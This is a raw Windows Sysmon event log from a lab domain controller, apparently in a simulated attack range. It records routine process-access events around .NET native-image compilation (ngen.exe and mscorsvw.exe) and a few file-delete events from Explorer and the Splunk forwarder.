14:44:49.118{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F61-613B-6109-00000000F001}5524C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044371Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:49.108{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F61-613B-6109-00000000F001}5524C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044370Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:49.108{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F61-613B-6109-00000000F001}5524C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044369Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:49.048{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F61-613B-6009-00000000F001}6140C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044368Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:49.028{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F61-613B-6009-00000000F001}6140C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044367Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:49.028{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F61-613B-6009-00000000F001}6140C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000044444Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:50.810{7BD73061-6D0F-613B-9406-00000000F001}4480ATTACKRANGE\AdministratorC:\Windows\Explorer.EXEC:\Users\Administrator\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000017.dbMD5=E78C8EB7C944FEB5760ACB1EAE1D0826,SHA256=36AAE062BC2B451270F5BFC4111B4CED6D10820B6F4051D72DEC716345E02F82,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000044443Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:50.800{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F62-613B-7609-00000000F001}7076C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000044442Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:50.790{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=15392C82CC1BA668FEA4BD1A189D47B8,SHA256=4E5689A66A8094F412EF5C56BF1558A910114310B2FB898D855F2807E1D01776,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000044441Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:50.790{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F62-613B-7609-00000000F001}7076C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044440Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:50.789{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F62-613B-7609-00000000F001}7076C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044439Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:50.750{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F62-613B-7509-00000000F001}6320C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044438Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:50.730{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F62-613B-7509-00000000F001}6320C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044437Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:50.730{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F62-613B-7509-00000000F001}6320C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044436Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:50.690{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F62-613B-7409-00000000F001}6524C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044435Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:50.680{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F62-613B-7409-00000000F001}6524C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044434Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:50.680{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F62-613B-7409-00000000F001}6524C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044433Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:50.610{7BD73061-65B2-613B-1400-00000000F001}3401400C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x100000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\cryptsvc.dll+6124|c:\windows\system32\cryptsvc.dll+5e34|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000044432Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:50.590{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F9547871F9D85CCA441D7FA7099738A1,SHA256=C2A7C50F75816DA9243CA7F4B42D642AB8187261FAE740E85B8CBAA6BBB64D91,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000044431Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:50.581{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F62-613B-7309-00000000F001}7092C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044430Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:50.560{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F62-613B-7309-00000000F001}7092C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044429Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:50.560{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F62-613B-7309-00000000F001}7092C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044428Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:50.530{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F62-613B-7209-00000000F001}5036C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044427Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:50.510{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F62-613B-7209-00000000F001}5036C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044426Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:50.510{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F62-613B-7209-00000000F001}5036C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 